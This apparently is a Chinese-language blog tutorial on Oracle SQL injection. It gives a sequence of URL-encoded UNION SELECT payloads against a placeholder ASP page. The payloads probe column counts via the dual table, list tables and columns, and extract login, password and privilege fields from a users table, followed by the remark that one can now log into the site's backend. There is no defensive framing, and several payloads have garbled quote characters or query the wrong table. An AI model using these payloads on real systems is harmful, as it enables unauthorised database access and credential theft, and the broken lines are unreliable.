oracle sql injection


不同的数据库有不同语法 注入语句也不同
Code:
http://somesite.com/calender.asp?day=7%20UNION%20SELECT%20NULL%
20from%20dual--
这个dual是oracle的一个伪表 他不存贮数据 就像一个临时表一样??一个借助的对象 具体自己百度
假如这是一个oracle注入点的话 会出现这样的错误
Code:
[Oracle][ODBC][Ora]ORA-01789: queryblock has incorrect number of result
columns
现在我们来猜显示位 就像sql injection那样 不过不是1,2,3,4,5.。。。。 而是用null
http://somesite.com/calender.asp?day=7%20UNION%20SELECT%20NULL ,NULL,NULL,NULL%
20from%20dual--
增加null 直到不出错
然后我们来猜 哪个显示位可以显示??就像sql injection那样
用'a' 来代替 null??看哪个不出错 就是哪个??当你找完显示位 我们就可以找数据库中的数据了要做到这一点 我可以使用"user_objects"??我们还可以用"object_name" 和"object_type"表名 来显示显示什么表的名称和类型是为用户指定的数据
code:
http://somesite.com/calender.asp?day=7%20UNION%20SELECT%20NULL ,
object_name,object_type,NULL%20from%20user_objects--
tip:我们可以用all_user_objects来代替 user_objects, 这个将会看到所有的信息 ,即使当前用户不拥有它的用户
我们现在看到了很多不同表的名称和类型 如果不这样做 你会得到错误
在我的例子里面我们只是在找user的表,下面我们来找表内的列名 就像这样user_tab_columns表
Code:
http://somesite.com/calender.asp?day=7%20UNION%20SELECT%20NULL ,
column_name,NULL,NULL%20from%20user_tab_columns%20where%20table_name%20%
3d%20?’USERS?’--
tip:%3d 是一个url编码的数据等于and %20??也是url编码的数据 等于空格
现在我们来得到账户 密码 权限 列名 就像这样:
Code:
http://somesite.com/calender.asp?day=7%20UNION%20SELECT%20NULL ,
login,password,priviledge%20from%20users--
现在你就可以登录后台了
tip:如果只有一列,它使用字符串数据类型,那么你可以连接多个列,像这样
Code:
http://somesite.com/calender.asp?day=7%20UNION%20SELECT%20NULL ,
login||?’:?’||password||?’:?’||priviledge,NULL,NULL%20from%20user_objects--
这个就像concat函数在mysql里一样 不知道oracle 有没有group_concat函数 看来我得研究研究了
tip:这些都只是皮毛 如果你真的想学好oracle 就要在本地架设oracle数据库 然后找几本电子书来看
Tags: 

延伸阅读

最新评论

发表评论